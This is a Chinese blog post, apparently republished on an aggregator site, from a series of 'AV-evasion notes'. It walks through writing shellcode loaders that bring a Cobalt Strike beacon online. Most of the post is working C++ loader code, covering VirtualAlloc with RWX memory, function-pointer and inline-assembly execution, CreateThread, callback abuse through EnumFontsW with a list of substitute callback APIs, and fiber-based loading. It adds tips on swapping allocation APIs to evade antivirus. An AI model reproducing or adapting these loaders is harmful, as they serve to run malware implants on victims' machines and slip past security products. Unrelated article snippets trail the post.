免杀笔记 ----> ShellCode Loader !!!

学了那么久的前置知识,终于到了能上线的地方了!!!     

不过这里还没到免杀的部分,距离bypass一众的杀毒软件还有很长的路要走!! 

目录

1.ShellCode

2.ShellCode Loader的概念

3.可读可写可执行

4.ShellCode Loader的类型

1.指针调用

2.汇编调用

3.新建线程调用

4.回调函数

5.纤程加载

1.ShellCode

在学shellcode loader之前,我们得去先了解一下什么是ShellCode

Shellcode 是一段被设计成能够被计算机上的某个程序或系统调用执行的机器码。通常,Shellcode 的目标是利用操作系统或应用程序中的漏洞或弱点,以便于执行特定的任务,比如获取系统权限、执行远程命令、窃取信息等。

如果我们去看一个普通的木马的话(不考虑一些骚操作的执行的话)我们一般都是能看见这样的结构的! 

或者我们直接去CS上也是能直接去生成一段裸的代码的话也是能看见我们的ShellCode的

生成出来的文件就是我们的Shell Code

2.ShellCode Loader的概念

有了ShellCode的知识的铺垫之后,我们就可以去讲我们的ShellCode Loade了

Shellcode loader(Shellcode加载器)是一种软件或代码片段,用于加载和执行Shellcode。它的主要目的是将Shellcode(通常是一段机器码,以二进制形式编写)注入到系统内存中,并使其在计算机上执行。

当然了,一个木马并不是一定需要shellcode loader的!!! 

3.可读可写可执行

我们的ShellCode一定是要一块可读可写可执行的内存,那么我们怎么样才能拿到一块可读可写的内存呢????   那么下面,我们先来介绍一个Windows的API!!!

VirtualAlloc   //虽然这个API被杀的很死

我们去MSDN看看对应这个API的解释

VirtualAlloc 是Windows操作系统中的一个函数,用于在进程的虚拟地址空间中分配内存。它的作用是动态地为程序分配一块指定大小的内存区域,这块内存可以用于存储数据或者执行代码。

LPVOID VirtualAlloc(LPVOID lpAddress,SIZE_T dwSize,DWORD  flAllocationType,DWORD  flProtect
);
  • lpAddress: 指定要分配的内存区域的起始地址。如果为 NULL,系统会自动选择一个合适的地址。
  • dwSize: 指定要分配的内存区域的大小(以字节为单位)。
  • flAllocationType: 指定分配类型,如 MEM_COMMIT 表示分配物理存储器并将其初始化为零,MEM_RESERVE 表示为内存区域保留地址空间而不实际分配物理存储器等。
  • flProtect: 指定内存保护属性,如 PAGE_EXECUTE_READWRITE 表示可执行内存并且可读写等。

并且它的返回类型是LPVOID 所以我们就可以用 void* 或者直接PVOID去接受它的返回地址

那么下面我们就来申请一块可读可写可执行的内存

void *p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

这样,我们的指针p就执行了一块可读可写可执行的内存地址的首地址

4.ShellCode Loader的类型

1.指针调用

首先我们申请一块内存肯定就不说了,然后我们需要将我们的ShellCode复制到这块内存上

  • Memcpy
void* memcpy(void* destination, const void* source, size_t num);

所以我们的代码就可以初见端倪了

void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(p, buf, sizeof(buf));

当然了,memcpy是有返回值的,我们还可以写一段代码判断一下是否copy成功

void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (memcpy(p, buf, sizeof(buf)))
{cout << "Memcpy OK :)" << endl;
}
else
{cout << "Memcpy Failed :("<<endl;
}

执行结果如下

然后就是去执行了,怎么执行呢?? 这里我闷给出一种格式

((void(*)())p)();
  • void(*)() 这是一个不返回任何值的函数指针的声明、
  • ((void(*)())p) 这是强制将 p 转换成void(*)()的指针类型
  • 然后((void(*)())p) () 就是函数调用

所以我们的完整的代码就是

	void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (memcpy(p, buf, sizeof(buf))){cout << "Memcpy OK :)" << endl;}else{cout << "Memcpy Failed :("<<endl;}((void(*)())p)();

当我们运行一下的时候,就能看见CS上线了!!!!!(终于上线了)

当然了,这样是绝对不免杀的(如果这免杀就离大谱了)

2.汇编调用

首先声明一下在64位的程序下,是不能直接写汇编的,所以我们一般都是用的32位的Shellcode

然后我们就来看以下代码

	__asm{lea eax, buf;call eax;}

这段代码其实就是将BUF的地址给了eax ,然后直接用call 函数去执行 buf 地址的函数(强制改变它的EIP)

但是你会发现这样是不会上线的!!  因为我们的ShellCode 是放在了全局变量初,这块内存可读可写,但是不可执行!!!!  所以我们的代码时没有用的!!! 我们必须通过一行代码来让这块内存RWX

#pragma comment(linker, "/section:.data,RWE")

 所以我们的代码就变成了这样

#include<iostream>
#include<windows.h>
using namespace std;
/* length: 797 bytes */
unsigned char buf[] = ""
#pragma comment(linker, "/section:.data,RWE")
int  main()
{__asm{lea eax, buf;call eax;}return 0;
}

这样,就能上线了!!!

3.新建线程调用

创建线程会在新的线程上下文中执行 shellcode,这意味着 shellcode 的执行环境与主程序的环境是隔离的。如果 shellcode 导致了异常或者崩溃,主程序通常不会受到直接影响,而是会在独立的线程中进行处理。

我们首先来贴一段代码,然后再来对这段代码进行解释

unsigned char buf[] = "shellcode";   
int main()
{DWORD dwThreadId; // 线程IDHANDLE hThread; // 线程句柄void* shellcode = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);CopyMemory(shellcode, buf, sizeof(buf));hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, &dwThreadId);WaitForSingleObject(hThread, INFINITE);return 0;
}

上面大部分代码我们都是很熟悉的,这里我们要说的一下的就是我们的这个也是被杀的API

  • CreateThread
HANDLE CreateThread(LPSECURITY_ATTRIBUTES   lpThreadAttributes,SIZE_T                  dwStackSize,LPTHREAD_START_ROUTINE  lpStartAddress,__drv_aliasesMem LPVOID lpParameter,DWORD                   dwCreationFlags,LPDWORD                 lpThreadId
);

其中对于各个参数的解释

  • lpThreadAttributes:线程安全属性,通常为 NULL
  • dwStackSize:新线程的栈大小,通常为 0 表示使用默认大小。
  • lpStartAddress:线程函数的地址,即新线程将从这个函数开始执行。
  • lpParameter:传递给线程函数的参数,可以是任意类型的数据。
  • dwCreationFlags:线程创建的标志,通常为 0
  • lpThreadId:输出参数,用于接收新线程的ID。

其中比较重要的就是lpStartAddress,lpThreadId。分别也就对应了我们的两个变量。 其中ID就没什么好说的了,我们来说一下那个线程函数的地址

(LPTHREAD_START_ROUTINE)shellcode 的作用是将 shellcode强制转换为LPTHREAD_START_ROUTINE 类型的函数指针。这样,在调用 CreateThread 函数时,可以将转换后的函数指针作为线程的入口点,使得新线程从 shellcode 函数开始执行。

然后还有一个函数就是

  • WaitForSingleObject()

WaitForSingleObject() 是一个用于等待一个指定的对象(如线程、进程、事件、互斥体等)进入 signaled 状态的函数。

  • hHandle:要等待的对象的句柄(handle)。可以是线程句柄、进程句柄、事件句柄等。
  • dwMilliseconds:等待的超时时间,单位是毫秒。如果设为 INFINITE(-1),表示无限等待,直到对象变为 signaled 状态。

这样,我们就能看懂我们一开始写的代码了

#include<iostream>
#include<windows.h>
using namespace std;
#pragma comment(linker, "/section:.data,RWE")
/* length: 797 bytes */
unsigned char buf[] = "";int main()
{DWORD id;HANDLE thread;void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(p, buf, sizeof(buf));thread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)p, NULL, NULL, &id);WaitForSingleObject(thread, INFINITE);return 0;
}

也是能成功上线的!!!!!  

当然了,这也是不免杀的,只是一个loader而已

4.回调函数

还记得以前还没学习免杀的时候,就听过回调函数的大名,但是不知道现在回调函数的效果怎么样了!!   我们先来了解一下什么是回调函数

"回调函数" 是一种在编程中常见的概念,特别是在事件驱动的编程模型中经常用到。它指的是一种函数,通常作为参数传递给另一个函数,并在特定事件发生时由另一个函数调用(即“回调”),以便处理该事件或者进行适当的响应。

听不太懂? 没事,我用人话翻译一下

利用某些系统或应用程序接口(API),将 shellcode 的地址注册为回调函数。当特定条件满足时,系统或应用程序会调用该回调函数,从而间接执行 shellcode。

那么,他和上面的几种运行Shellcode的方式有什么不同呢?? 

隐蔽性强:通过合法的系统接口间接执行 shellcode,可以绕过一些安全检测和监控机制,因为通常系统并不会怀疑合法接口的使用。

对于直接操作内存,现代操作系统和安全软件可能会监视和拦截直接执行 shellcode 的操作,认为这是恶意行为,而通过回调函数,有可能AV并没有Hook这些函数,所以我们就能成功的运行ShellCode !! 

那么我们先来贴一段代码

#include <Windows.h>
unsigned char shellcode[] = "shellcode";
int main() {LPVOID address = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT,PAGE_EXECUTE_READWRITE);memcpy(address, shellcode, sizeof(shellcode));HDC dc = GetDC(NULL);EnumFontsW(dc, NULL, (FONTENUMPROCW)address, NULL);return 0;
}

前面两段我们非常熟悉,不多说,我们说说后面的部分!

HDC dc = GetDC(NULL);
EnumFontsW(dc, NULL, (FONTENUMPROCW)address, NULL);

首先通过GetDC获取屏幕设备的上下文句柄。

然后通过EnumFontsW这个函数在枚举每一个字体的时候,调用我们的Shellcode这个函数!!

所以就能看得懂我们这一段loader了

int main()
{void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(p, buf, sizeof(buf));HDC dc = GetDC(NULL);EnumFontsW(dc, NULL, (FONTENUMPROCW)p, NULL);return 0;
}

 也是成功上线

当然了,回调函数还有很多,我们替换就是了

1. EnumTimeFormatsA()
2. EnumWindows()
3. EnumDesktopWindows()
4. EnumDateFormatsA()
5. EnumChildWindows()
6. EnumThreadWindows()
7. EnumSystemLocalesA()
8. EnumSystemGeoID()
9. EnumSystemLanguageGroupsA()
10. EnumUILanguagesA()
11. EnumSystemCodePagesA()
12. EnumDesktopsW()
13. EnumSystemCodePagesW()

5.纤程加载

这个我在我之前的Blog也说过一下(不过当时我并不懂是什么意思),现在我们可以来看看了

纤程是什么? 纤程是一种用户模式下的执行单元,不同于操作系统内核管理的线程。它由用户代码显式地创建和管理,而不像线程那样由操作系统内核来调度和管理。

我们还是来贴一段上线的代码

int main() {UCHAR buf[] = "";DWORD oldProtect;BOOL ret = VirtualProtect((LPVOID)buf, sizeof buf,PAGE_EXECUTE_READWRITE,&oldProtect);PVOID mainFiber = ConvertThreadToFiber(NULL);PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE),(char*)buf,NULL);SwitchToFiber(shellcodeFiber);DeleteFiber(shellcodeFiber);
}

其实前面还是换汤不换药,我们直接来讲一下后面的新代码

    PVOID mainFiber = ConvertThreadToFiber(NULL);PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE),(char*)buf,NULL);SwitchToFiber(shellcodeFiber);DeleteFiber(shellcodeFiber);
  • ConvertThreadToFiber(NULL)函数将当前线程转换为主纤程。主纤程是在进程初始化时自动创建的纤程,它可以让当前线程参与到纤程的调度中。
  • CreateFiber(NULL, (LPFIBER_START_ROUTINE),(char*)buf,NULL); 函数用于创建一个新的纤程。
  • SwitchToFiber(shellcodeFiber); 函数将当前线程切换到指定的纤程

所以我们就能看懂那一段代码了

#include<iostream>
#include<windows.h>
using namespace std;
#pragma comment(linker, "/section:.data,RWE")
/* length: 797 bytes */
unsigned char buf[] = ""
int main()
{void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);void* mainfiber = ConvertThreadToFiber(NULL);void* shellfiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)(char *)buf, NULL);SwitchToFiber(shellfiber);return 0;
}

也是能成功上线的

当然了,Shellcode Loader还有很多的类型,这里只是介绍了一些最简单的Loader ,想免杀的话,你可以最简单的替换一下函数

GlobalAlloc()
CoTaskMemAlloc()
HeapAlloc()
RtlCreateHeap()
AllocADsMem()
ReallocADsMem()

当然了,最简单的换函数肯定是不能过的,接着你可以隐藏导入表(这个我后面找时间更新!!)

当然了,就算隐藏了导入表也是无法完成免杀的,所以怎么免杀 ?? 我们后面来说 !!! 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/40171.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

字符串函数5-9题(30 天 Pandas 挑战)

字符串函数 1. 相关知识点1.5 字符串的长度条件判断1.6 apply映射操作1.7 python大小写转换1.8 正则表达式匹配2.9 包含字符串查询 2. 题目2.5 无效的推文2.6 计算特殊奖金2.7 修复表中的名字2.8 查找拥有有效邮箱的用户2.9 患某种疾病的患者 1. 相关知识点 1.5 字符串的长度条…

代码随想录算法训练营第四十四天|188.买卖股票的最佳时机IV、309.最佳买卖股票时机含冷冻期、714.买卖股票的最佳时机含手续费

188.买卖股票的最佳时机IV 题目链接&#xff1a;188.买卖股票的最佳时机IV 文档讲解&#xff1a;代码随想录 状态&#xff1a;不会 思路&#xff1a; 在股票买卖1使用一维dp的基础上&#xff0c;升级成二维的即可。 定义dp[k1][2]&#xff0c;其中 dp[j][0] 表示第j次交易后持…

虚拟ECU:纯电动汽车发展下的新选择

人类文明的进步是一个不断自我否定、自我超越的过程。21世纪以来&#xff0c;随着科技进步和经济社会发展&#xff0c;能源和交通系统已从独立于自然环境的孤立系统&#xff0c;转变为与自然、技术、社会深度耦合的复杂系统。为实现可持续发展和应对气候变化&#xff0c;世界各…

【C++航海王:追寻罗杰的编程之路】关联式容器的底层结构——AVL树

目录 1 -> 底层结构 2 -> AVL树 2.1 -> AVL树的概念 2.2 -> AVL树节点的定义 2.3 -> AVL树的插入 2.4 -> AVL树的旋转 2.5 -> AVL树的验证 2.6 -> AVL树的性能 1 -> 底层结构 在上文中对对map/multimap/set/multiset进行了简单的介绍&…

《简历宝典》02 - 如果你是HR,你会优先打开哪份简历?

现在的求职环境不必多说&#xff0c;其实我们大家都还是很清楚的。所以&#xff0c;在这个环境下&#xff0c;写一份优秀的简历&#xff0c;目的与作用也不必多说。那么&#xff0c;这一小节呢&#xff0c;我们先从简历这份文档的文档名开始说起。 目录 1 你觉得HR们刷简历的时…

【深度学习】图形模型基础(5):线性回归模型第二部分:单变量线性回归模型

1.引言 在统计学与机器学习的广阔领域中&#xff0c;线性回归作为一种基础而强大的预测技术&#xff0c;其核心在于通过输入变量&#xff08;或称预测器、自变量&#xff09;来估计输出变量&#xff08;响应变量、因变量&#xff09;的连续值。本章聚焦于线性回归的一个基本但…

【C++】相机标定源码笔记- 立体视觉相机的校准和图像矫正类

类主要用于双目相机的标定和矫正。它包含了读取和保存相机模型、计算标定参数以及矫正图像的功能。通过这些功能&#xff0c;可以实现双目相机的标定和矫正&#xff0c;从而提高双目相机的精度和稳定性。 公有函数&#xff1a; 构造函数、带参构造函数、析构函数、读取双目相机…

摩斯邀您参加“WAIC 2024世界人工智能大会”

2024世界人工智能大会暨人工智能全球治理高级别会议&#xff08;简称“WAIC 2024”&#xff09;将于7月在上海世博中心、世博展览馆举行&#xff0c;论坛时间为7月4日-6日&#xff0c;展览时间为7月5日-7日。大会展览面积超5.2万平方米&#xff0c;重点围绕核心技术、智能终端、…

STM32要学到什么程度才算合格?

在开始前刚好我有一些资料&#xff0c;是我根据网友给的问题精心整理了一份「嵌入式的资料从专业入门到高级教程」&#xff0c; 点个关注在评论区回复“888”之后私信回复“888”&#xff0c;全部无偿共享给大家&#xff01;&#xff01;&#xff01; STM32 这玩意儿要学到啥…

vscode 前行复制到下一行

目录 这个技巧也比较多 选择 python解释器 F1 Ctrl Shift P 跳转上一次编辑 下一次编辑 Ctrl d 会把当前行复制到下一行 步骤1&#xff1a;打开键绑定设置 使用VS Code设置换行 这个技巧也比较多 VS Code技巧汇总_vs code反缩进-CSDN博客 选择 python解释器 F1 Ctrl Shi…

Java中如何使用 tesseract-ocr 进行图片文字提取(tesseract、tesseract训练自己的字库)

tesseract下载链接&#xff1a; github&#xff1a;https://github.com/tesseract-ocr/ db&#xff1a;https://digi.bib.uni-mannheim.de/tesseract/ 文字识别技术在许多领域都有广泛的应用&#xff0c;例如文档处理、自动化办公、移动设备上的文本输入等。而Tesseract-OCR作…

Python推导式写出简洁高效的代码方法详解

概要 推导式是Python中一种非常强大的语法特性,允许你用简洁的语法创建列表、字典、集合等数据结构。使用推导式不仅可以让代码更加简洁和易读,还能提高代码的执行效率。本文将详细介绍Python中的各种推导式,并提供相应的示例代码,帮助全面掌握这一强大的工具。 列表推导式…

【前端项目笔记】9 数据报表

数据报表 效果展示&#xff1a; 在开发代码之前新建分支 git checkout -b report 新建分支report git branch 查看分支 git push -u origin report 将本地report分支推送到云端origin并命名为report 通过路由的形式将数据报表加载到页面中 渲染数据报表基本布局 面包屑导航…

数据洞察:从零到一的数据仓库与Navicat连接全攻略【实训Day04】[完结篇]

一、数据分析 1 实现数据仓库(在hadoop101上) 1) 创建jobdata数据库 # cd $HIVE_HOME # bin/hive hive>create database jobdata; hive>use jobdata; 2) 创建原始职位数据事实表ods_jobdata_orgin(在hadoop101上) create table ods_jobdata_origin( city string CO…

Keepalived+LVS实现负责均衡,高可用的集群

Keepalived的设计目标是构建高可用的LVS负载均衡群集&#xff0c;可以调用ipvsadm工具来创建虚拟服务器&#xff0c;管理服务器池&#xff0c;而不仅仅用作双机热备。使用Keepalived构建LVS群集更加简便易用&#xff0c;主要优势体现在&#xff1a;对LVS负责调度器实现热备切换…

配置并调试后端程序(sql)

1.环境准备 安装VS Code和Node.js插件&#xff1a;确保你已经安装了VS Code和Node.js插件。创建launch.json文件&#xff1a;在你的项目中创建一个.vscode文件夹&#xff0c;并在其中创建launch.json文件。添加以下内容&#xff1a; {"version": "0.2.0"…

uniapp 数据父传子

文章目录 可能出现的问题 在uni-app中&#xff0c;父组件向子组件传递数据主要通过属性绑定的方式实现。这里提供一个简单的示例来说明如何进行父传子的数据传递&#xff1a; 父组件 准备数据: 在父组件的data中定义要传递的数据。 export default {data() {return {parentMe…

PLC基础知识

1.PLC中的数据寄存器地址D表示存数据的地方。 2.PLC的物理存储器的规定&#xff1a;PLC存储器以字节为单位&#xff08;Byte&#xff09;&#xff0c;存储单元以位&#xff08;Bit&#xff09;、字节&#xff08;B&#xff0c;8Bit&#xff09;、字&#xff08;W&#xff0c;1…

电子行业MES系统解决方案

工业4.0时代的工业自动化&#xff0c;将在原有自动化技术和架构下&#xff0c;实现集中式控制向分散式增强型控制的基本模式转变&#xff0c;让设备从传感器到因特网的通讯能够无缝对接&#xff0c;从而建立一个高度灵活的、个性化和数字化、融合了产品与服务的生产模式。在这种…

spark shuffle写操作——BypassMergeSortShuffleWriter

创建分区文件writer 每一个分区都生成一个临时文件&#xff0c;创建DiskBlockObjectWriter对象&#xff0c;放入partitionWriters 分区writer写入消息 遍历所有消息&#xff0c;每一条消息都使用分区器选择对应分区的writer然后写入 生成分区文件 将分区writer的数据flu…